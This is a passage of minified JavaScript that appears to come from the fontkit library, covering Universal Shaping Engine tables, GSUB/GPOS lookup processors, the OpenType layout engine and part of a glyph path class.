0, 0, 34, 40, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 45], [0, 0, 0, 0, 0, 28, 0, 29, 30, 31, 32, 0, 34, 35, 0, 37, 0, 0, 0, 0, 0, 34, 0, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 31, 32, 0, 34, 35, 0, 37, 0, 39, 0, 0, 0, 34, 0, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 45], [0, 0, 0, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 41, 42, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 0, 0, 0, 0, 0, 0, 37, 0, 0, 0, 0, 0, 0, 0, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 31, 32, 0, 34, 35, 0, 37, 0, 39, 0, 0, 0, 34, 0, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 6, 7, 8, 9, 50, 11, 12, 13, 14, 50, 16, 0, 0, 0, 11, 18, 19, 20, 21, 0, 0, 22, 0, 0, 0, 51, 0, 0, 24], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 48, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 52, 0, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 31, 32, 53, 34, 35, 36, 37, 53, 39, 0, 0, 0, 34, 40, 41, 42, 43, 0, 0, 44, 0, 0, 0, 54, 0, 0, 45], [0, 0, 0, 0, 0, 5, 0, 6, 7, 8, 9, 50, 11, 12, 13, 14, 0, 16, 0, 0, 0, 11, 18, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 24], [0, 0, 0, 0, 0, 5, 0, 6, 7, 8, 9, 50, 11, 12, 13, 14, 50, 16, 0, 0, 0, 11, 18, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 24], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 47, 0, 48, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 31, 32, 53, 34, 35, 36, 37, 0, 39, 0, 0, 0, 34, 40, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 45], [0, 0, 0, 0, 0, 28, 0, 29, 30, 31, 32, 53, 34, 35, 36, 37, 53, 39, 0, 0, 0, 34, 40, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 45]], Ho = [!1, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !1, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0, !0], Zo = [[], ["broken_cluster"], ["independent_cluster"], ["symbol_cluster"], ["standard_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], [], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["broken_cluster"], ["numeral_cluster"], ["broken_cluster"], ["independent_cluster"], ["symbol_cluster"], ["symbol_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["virama_terminated_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["standard_cluster"], ["broken_cluster"], ["numeral_cluster"], ["number_joiner_terminated_cluster"], ["standard_cluster"], ["broken_cluster"], ["broken_cluster"], ["numeral_cluster"], ["standard_cluster"], ["standard_cluster"]], Yo = {
                categories: Go,
                decompositions: Vo,
                stateTable: qo,
                accepting: Ho,
                tags: Zo
            }, Ko                                      = Yo.categories, Xo = Yo.decompositions, Jo = new lt(e("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", "base64")), Qo = new ft(Yo), $o = (Wi = Ui = function (t) {
                function e() {
                    return J(this, e), tt(this, t.apply(this, arguments))
                }

                return et(e, t), e.planFeatures = function (t) {
                    t.addStage(O), t.addStage(["locl", "ccmp", "nukt", "akhn"]), t.addStage(T), t.addStage(["rphf"], !1), t.addStage(L), t.addStage(T), t.addStage(["pref"]), t.addStage(B), t.addStage(["rkrf", "abvf", "blwf", "half", "pstf", "vatu", "cjct"]), t.addStage(R), t.addStage(["abvs", "blws", "pres", "psts", "dist", "abvm", "blwm"])
                }, e.assignFeatures = function (t, e) {
                    for (var n = e.length - 1; n >= 0; n--) !function (n) {
                        var r = e[n].codePoints[0];
                        if (Xo[r]) {
                            var i = Xo[r].map(function (r) {
                                var i = t.font.glyphForCodePoint(r);
                                return new uo(t.font, i.id, [r], e[n].features)
                            });
                            e.splice.apply(e, [n, 1].concat(i))
                        }
                    }(n)
                }, e
            }(Ji), Ui.zeroMarkWidths = "BEFORE_GPOS", Wi), ta = function t(e, n, r) {
                J(this, t), this.category = e, this.syllableType = n, this.syllable = r
            }, ea                                             = {
                arab: io,
                mong: io,
                syrc: io,
                "nko ": io,
                phag: io,
                mand: io,
                mani: io,
                phlp: io,
                hang: co,
                bali: $o,
                batk: $o,
                brah: $o,
                bugi: $o,
                buhd: $o,
                cakm: $o,
                cham: $o,
                dupl: $o,
                egyp: $o,
                gran: $o,
                hano: $o,
                java: $o,
                kthi: $o,
                kali: $o,
                khar: $o,
                khoj: $o,
                sind: $o,
                lepc: $o,
                limb: $o,
                mahj: $o,
                mtei: $o,
                modi: $o,
                hmng: $o,
                rjng: $o,
                saur: $o,
                shrd: $o,
                sidd: $o,
                sinh: $o,
                sund: $o,
                sylo: $o,
                tglg: $o,
                tagb: $o,
                tale: $o,
                lana: $o,
                tavt: $o,
                takr: $o,
                tibt: $o,
                tfng: $o,
                tirh: $o,
                latn: Ji,
                DFLT: Ji
            }, na                                             = function (t) {
                function e() {
                    return J(this, e), tt(this, t.apply(this, arguments))
                }

                return et(e, t), e.prototype.applyLookup = function (t, e) {
                    var n = this;
                    switch (t) {
                        case 1:
                            var r = this.coverageIndex(e.coverage);
                            if (r === -1) return !1;
                            var i = this.glyphIterator.cur;
                            switch (e.version) {
                                case 1:
                                    i.id = i.id + e.deltaGlyphID & 65535;
                                    break;
                                case 2:
                                    i.id = e.substitute.get(r)
                            }
                            return !0;
                        case 2:
                            var o = this.coverageIndex(e.coverage);
                            if (o !== -1) {
                                var a = function () {
                                    var t, r = e.sequences.get(o);
                                    n.glyphIterator.cur.id = r[0], n.glyphIterator.cur.ligatureComponent = 0;
                                    var i = n.glyphIterator.cur.features, a = n.glyphIterator.cur, s = r.slice(1).map(function (t, e) {
                                        var r = new uo(n.font, t, void 0, i);
                                        return r.shaperInfo = a.shaperInfo, r.isLigated = a.isLigated, r.ligatureComponent = e + 1, r.substituted = !0, r
                                    });
                                    return (t = n.glyphs).splice.apply(t, [n.glyphIterator.index + 1, 0].concat(s)), {v: !0}
                                }();
                                if ("object" === (void 0 === a ? "undefined" : K(a))) return a.v
                            }
                            return !1;
                        case 3:
                            var s = this.coverageIndex(e.coverage);
                            if (s !== -1) {
                                return this.glyphIterator.cur.id = e.alternateSet.get(s)[0], !0
                            }
                            return !1;
                        case 4:
                            var u = this.coverageIndex(e.coverage);
                            if (u === -1) return !1;
                            for (var c = e.ligatureSets.get(u), l = Array.isArray(c), f = 0, c = l ? c : H(c); ;) {
                                var h;
                                if (l) {
                                    if (f >= c.length) break;
                                    h = c[f++]
                                } else {
                                    if (f = c.next(), f.done) break;
                                    h = f.value
                                }
                                var p = h, d = this.sequenceMatchIndices(1, p.components);
                                if (d) {
                                    for (var g = this.glyphIterator.cur, v = g.codePoints.slice(), y = d, m = Array.isArray(y), b = 0, y = m ? y : H(y); ;) {
                                        var w;
                                        if (m) {
                                            if (b >= y.length) break;
                                            w = y[b++]
                                        } else {
                                            if (b = y.next(), b.done) break;
                                            w = b.value
                                        }
                                        var x = w;
                                        v.push.apply(v, this.glyphs[x].codePoints)
                                    }
                                    var S = new uo(this.font, p.glyph, v, g.features);
                                    S.shaperInfo = g.shaperInfo, S.isLigated = !0, S.substituted = !0;
                                    for (var k = g.isMark, _ = 0; _ < d.length && k; _++) k = this.glyphs[d[_]].isMark;
                                    S.ligatureID = k ? null : this.ligatureID++;
                                    for (var C = g.ligatureID, A = g.codePoints.length, E = A, P = this.glyphIterator.index + 1, I = d, O = Array.isArray(I), T = 0, I = O ? I : H(I); ;) {
                                        var L;
                                        if (O) {
                                            if (T >= I.length) break;
                                            L = I[T++]
                                        } else {
                                            if (T = I.next(), T.done) break;
                                            L = T.value
                                        }
                                        var B = L;
                                        if (k) P = B; else for (; P < B;) {
                                            var R = E - A + Math.min(this.glyphs[P].ligatureComponent || 1, A);
                                            this.glyphs[P].ligatureID = S.ligatureID, this.glyphs[P].ligatureComponent = R, P++
                                        }
                                        C = this.glyphs[P].ligatureID, A = this.glyphs[P].codePoints.length, E += A, P++
                                    }
                                    if (C && !k) for (var M = P; M < this.glyphs.length && this.glyphs[M].ligatureID === C; M++) {
                                        var R                            = E - A + Math.min(this.glyphs[M].ligatureComponent || 1, A);
                                        this.glyphs[M].ligatureComponent = R
                                    }
                                    for (var z = d.length - 1; z >= 0; z--) this.glyphs.splice(d[z], 1);
                                    return this.glyphs[this.glyphIterator.index] = S, !0
                                }
                            }
                            return !1;
                        case 5:
                            return this.applyContext(e);
                        case 6:
                            return this.applyChainingContext(e);
                        case 7:
                            return this.applyLookup(e.lookupType, e.extension);
                        default:
                            throw new Error("GSUB lookupType " + t + " is not supported")
                    }
                }, e
            }(so), ra                                         = function (t) {
                function e() {
                    return J(this, e), tt(this, t.apply(this, arguments))
                }

                return et(e, t), e.prototype.applyPositionValue = function (t, e) {
                    var n = this.positions[this.glyphIterator.peekIndex(t)];
                    null != e.xAdvance && (n.xAdvance += e.xAdvance), null != e.yAdvance && (n.yAdvance += e.yAdvance), null != e.xPlacement && (n.xOffset += e.xPlacement), null != e.yPlacement && (n.yOffset += e.yPlacement)
                }, e.prototype.applyLookup = function (t, e) {
                    switch (t) {
                        case 1:
                            var n = this.coverageIndex(e.coverage);
                            if (n === -1) return !1;
                            switch (e.version) {
                                case 1:
                                    this.applyPositionValue(0, e.value);
                                    break;
                                case 2:
                                    this.applyPositionValue(0, e.values.get(n))
                            }
                            return !0;
                        case 2:
                            var r = this.glyphIterator.peek();
                            if (!r) return !1;
                            var i = this.coverageIndex(e.coverage);
                            if (i === -1) return !1;
                            switch (e.version) {
                                case 1:
                                    for (var o = e.pairSets.get(i), a = o, s = Array.isArray(a), u = 0, a = s ? a : H(a); ;) {
                                        var c;
                                        if (s) {
                                            if (u >= a.length) break;
                                            c = a[u++]
                                        } else {
                                            if (u = a.next(), u.done) break;
                                            c = u.value
                                        }
                                        var l = c;
                                        if (l.secondGlyph === r.id) return this.applyPositionValue(0, l.value1), this.applyPositionValue(1, l.value2), !0
                                    }
                                    return !1;
                                case 2:
                                    var f = this.getClassID(this.glyphIterator.cur.id, e.classDef1), h = this.getClassID(r.id, e.classDef2);
                                    if (f === -1 || h === -1) return !1;
                                    var p = e.classRecords.get(f).get(h);
                                    return this.applyPositionValue(0, p.value1), this.applyPositionValue(1, p.value2), !0
                            }
                        case 3:
                            var d = this.glyphIterator.peekIndex(), g = this.glyphs[d];
                            if (!g) return !1;
                            var v = e.entryExitRecords[this.coverageIndex(e.coverage)];
                            if (!v || !v.exitAnchor) return !1;
                            var y = e.entryExitRecords[this.coverageIndex(e.coverage, g.id)];
                            if (!y || !y.entryAnchor) return !1;
                            var m = this.getAnchor(y.entryAnchor), b = this.getAnchor(v.exitAnchor), w = this.positions[this.glyphIterator.index], x = this.positions[d];
                            switch (this.direction) {
                                case"ltr":
                                    w.xAdvance = b.x + w.xOffset;
                                    var S      = m.x + x.xOffset;
                                    x.xAdvance -= S, x.xOffset -= S;
                                    break;
                                case"rtl":
                                    S = b.x + w.xOffset, w.xAdvance -= S, w.xOffset -= S, x.xAdvance = m.x + x.xOffset
                            }
                            return this.glyphIterator.flags.rightToLeft ? (this.glyphIterator.cur.cursiveAttachment = d, w.yOffset = m.y - b.y) : (g.cursiveAttachment = this.glyphIterator.index, w.yOffset = b.y - m.y), !0;
                        case 4:
                            var k = this.coverageIndex(e.markCoverage);
                            if (k === -1) return !1;
                            for (var _ = this.glyphIterator.index; --_ >= 0 && this.glyphs[_].isMark;) ;
                            if (_ < 0) return !1;
                            var C = this.coverageIndex(e.baseCoverage, this.glyphs[_].id);
                            if (C === -1) return !1;
                            var A = e.markArray[k], E = e.baseArray[C][A.class];
                            return this.applyAnchor(A, E, _), !0;
                        case 5:
                            var P = this.coverageIndex(e.markCoverage);
                            if (P === -1) return !1;
                            for (var I = this.glyphIterator.index; --I >= 0 && this.glyphs[I].isMark;) ;
                            if (I < 0) return !1;
                            var O = this.coverageIndex(e.ligatureCoverage, this.glyphs[I].id);
                            if (O === -1) return !1;
                            var T = e.ligatureArray[O], L = this.glyphIterator.cur, B = this.glyphs[I],
                                R = B.ligatureID && B.ligatureID === L.ligatureID && null != L.ligatureComponent ? Math.min(L.ligatureComponent, B.codePoints.length) - 1 : B.codePoints.length - 1,
                                M = e.markArray[P], z = T[R][M.class];
                            return this.applyAnchor(M, z, I), !0;
                        case 6:
                            var F = this.coverageIndex(e.mark1Coverage);
                            if (F === -1) return !1;
                            var D = this.glyphIterator.peekIndex(-1), N = this.glyphs[D];
                            if (!N || !N.isMark) return !1;
                            var U = this.glyphIterator.cur, W = !1;
                            if (U.ligatureID === N.ligatureID ? U.ligatureID ? U.ligatureComponent === N.ligatureComponent && (W = !0) : W = !0 : (U.ligatureID && !U.ligatureComponent || N.ligatureID && !N.ligatureComponent) && (W = !0), !W) return !1;
                            var j = this.coverageIndex(e.mark2Coverage, N.id);
                            if (j === -1) return !1;
                            var G = e.mark1Array[F], V = e.mark2Array[j][G.class];
                            return this.applyAnchor(G, V, D), !0;
                        case 7:
                            return this.applyContext(e);
                        case 8:
                            return this.applyChainingContext(e);
                        case 9:
                            return this.applyLookup(e.lookupType, e.extension);
                        default:
                            throw new Error("Unsupported GPOS table: " + t)
                    }
                }, e.prototype.applyAnchor = function (t, e, n) {
                    var r = this.getAnchor(e), i = this.getAnchor(t.markAnchor), o = (this.positions[n], this.positions[this.glyphIterator.index]);
                    o.xOffset = r.x - i.x, o.yOffset = r.y - i.y, this.glyphIterator.cur.markAttachment = n
                }, e.prototype.getAnchor = function (t) {
                    return {x: t.xCoordinate, y: t.yCoordinate}
                }, e.prototype.applyFeatures = function (e, n, r) {
                    t.prototype.applyFeatures.call(this, e, n, r);
                    for (var i = 0; i < this.glyphs.length; i++) this.fixCursiveAttachment(i);
                    this.fixMarkAttachment()
                }, e.prototype.fixCursiveAttachment = function (t) {
                    var e = this.glyphs[t];
                    if (null != e.cursiveAttachment) {
                        var n = e.cursiveAttachment;
                        e.cursiveAttachment = null, this.fixCursiveAttachment(n), this.positions[t].yOffset += this.positions[n].yOffset
                    }
                }, e.prototype.fixMarkAttachment = function () {
                    for (var t = 0; t < this.glyphs.length; t++) {
                        var e = this.glyphs[t];
                        if (null != e.markAttachment) {
                            var n = e.markAttachment;
                            if (this.positions[t].xOffset += this.positions[n].xOffset, this.positions[t].yOffset += this.positions[n].yOffset, "ltr" === this.direction) for (var r = n; r < t; r++) this.positions[t].xOffset -= this.positions[r].xAdvance, this.positions[t].yOffset -= this.positions[r].yAdvance
                        }
                    }
                }, e
            }(so), ia                                         = function () {
                function t(e) {
                    J(this, t), this.font = e, this.glyphInfos = null, this.plan = null, this.GSUBProcessor = null, this.GPOSProcessor = null, e.GSUB && (this.GSUBProcessor = new na(e, e.GSUB)), e.GPOS && (this.GPOSProcessor = new ra(e, e.GPOS))
                }

                return t.prototype.setup = function (t, e, n, r) {
                    var i = this;
                    return this.glyphInfos = t.map(function (t) {
                        return new uo(i.font, t.id, [].concat(t.codePoints))
                    }), this.shaper = D(n), this.plan = new Hi(this.font, n, r), this.shaper.plan(this.plan, this.glyphInfos, e)
                }, t.prototype.substitute = function (t) {
                    var e = this;
                    return this.GSUBProcessor && (this.plan.process(this.GSUBProcessor, this.glyphInfos), t = this.glyphInfos.map(function (t) {
                        return e.font.getGlyph(t.id, t.codePoints)
                    })), t
                }, t.prototype.position = function (t, e) {
                    return "BEFORE_GPOS" === this.shaper.zeroMarkWidths && this.zeroMarkAdvances(e), this.GPOSProcessor && this.plan.process(this.GPOSProcessor, this.glyphInfos, e), "AFTER_GPOS" === this.shaper.zeroMarkWidths && this.zeroMarkAdvances(e), "rtl" === this.plan.direction && (t.reverse(), e.reverse()), this.GPOSProcessor && this.GPOSProcessor.features
                }, t.prototype.zeroMarkAdvances = function (t) {
                    for (var e = 0; e < this.glyphInfos.length; e++) this.glyphInfos[e].isMark && (t[e].xAdvance = 0, t[e].yAdvance = 0)
                }, t.prototype.cleanup = function () {
                    this.glyphInfos = null, this.plan = null, this.shaper = null
                }, t.prototype.getAvailableFeatures = function (t, e) {
                    var n = [];
                    return this.GSUBProcessor && (this.GSUBProcessor.selectScript(t, e), n.push.apply(n, Y(this.GSUBProcessor.features))), this.GPOSProcessor && (this.GPOSProcessor.selectScript(t, e), n.push.apply(n, Y(this.GPOSProcessor.features))), n
                }, t
            }(), oa                                           = function () {
                function t(e) {
                    J(this, t), this.font = e, this.unicodeLayoutEngine = null, this.kernProcessor = null, this.font.morx ? this.engine = new qi(this.font) : (this.font.GSUB || this.font.GPOS) && (this.engine = new ia(this.font))
                }

                return t.prototype.layout = function (t) {
                    var e = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : [], n = arguments[2], r = arguments[3];
                    if ("string" == typeof e && (n = e, r = n, e = []), "string" == typeof t) {
                        null == n && (n = p(t));
                        var i = this.font.glyphsForString(t)
                    } else {
                        if (null == n) {
                            for (var o = [], a = t, s = Array.isArray(a), u = 0, a = s ? a : H(a); ;) {
                                var c;
                                if (s) {
                                    if (u >= a.length) break;
                                    c = a[u++]
                                } else {
                                    if (u = a.next(), u.done) break;
                                    c = u.value
                                }
                                var l = c;
                                o.push.apply(o, l.codePoints)
                            }
                            n = d(o)
                        }
                        var i = t
                    }
                    if (0 === i.length) return new ki(i, []);
                    this.engine && this.engine.setup && this.engine.setup(i, e, n, r), i = this.substitute(i, e, n, r);
                    var f = this.position(i, e, n, r);
                    return this.engine && this.engine.cleanup && this.engine.cleanup(), new ki(i, f)
                }, t.prototype.substitute = function (t, e, n, r) {
                    return this.engine && this.engine.substitute && (t = this.engine.substitute(t, e, n, r)), t
                }, t.prototype.position = function (t, e, n, r) {
                    var i = t.map(function (t) {
                        return new _i(t.advanceWidth)
                    }), o = null;
                    return this.engine && this.engine.position && (o = this.engine.position(t, i, e, n, r)), o || (this.unicodeLayoutEngine || (this.unicodeLayoutEngine = new xi(this.font)), this.unicodeLayoutEngine.positionGlyphs(t, i)), o && o.kern || !this.font.kern || (this.kernProcessor || (this.kernProcessor = new wi(this.font)), this.kernProcessor.process(t, i)), i
                }, t.prototype.getAvailableFeatures = function (t, e) {
                    var n = [];
                    return this.engine && n.push.apply(n, this.engine.getAvailableFeatures(t, e)), this.font.kern && n.indexOf("kern") === -1 && n.push("kern"), n
                }, t.prototype.stringsForGlyph = function (t) {
                    for (var e = new ut, n = this.font._cmapProcessor.codePointsForGlyph(t), r = n, i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                        var a;
                        if (i) {
                            if (o >= r.length) break;
                            a = r[o++]
                        } else {
                            if (o = r.next(), o.done) break;
                            a = o.value
                        }
                        var s = a;
                        e.add(at(s))
                    }
                    if (this.engine && this.engine.stringsForGlyph) for (var u = this.engine.stringsForGlyph(t), c = Array.isArray(u), l = 0, u = c ? u : H(u); ;) {
                        var f;
                        if (c) {
                            if (l >= u.length) break;
                            f = u[l++]
                        } else {
                            if (l = u.next(), l.done) break;
                            f = l.value
                        }
                        var h = f;
                        e.add(h)
                    }
                    return st(e)
                }, t
            }(), aa                                           = {moveTo: "M", lineTo: "L", quadraticCurveTo: "Q", bezierCurveTo: "C", closePath: "Z"}, sa = function () {
                function t() {
                    J(this, t), this.commands = [], this._bbox = null, this._cbox = null
                }

                return t.prototype.toFunction = function () {
                    var t = this.commands.map(function (t) {
                        return "  ctx." + t.command + "(" + t.args.join(", ") + ");"
                    });
                    return new Function("ctx", t.join("\n"))
                }, t.prototype.toSVG = function () {
                    return this.commands.map(function (t) {
                        var e = t.args.map(function (t) {
                            return Math.round(100 * t) / 100
                        });
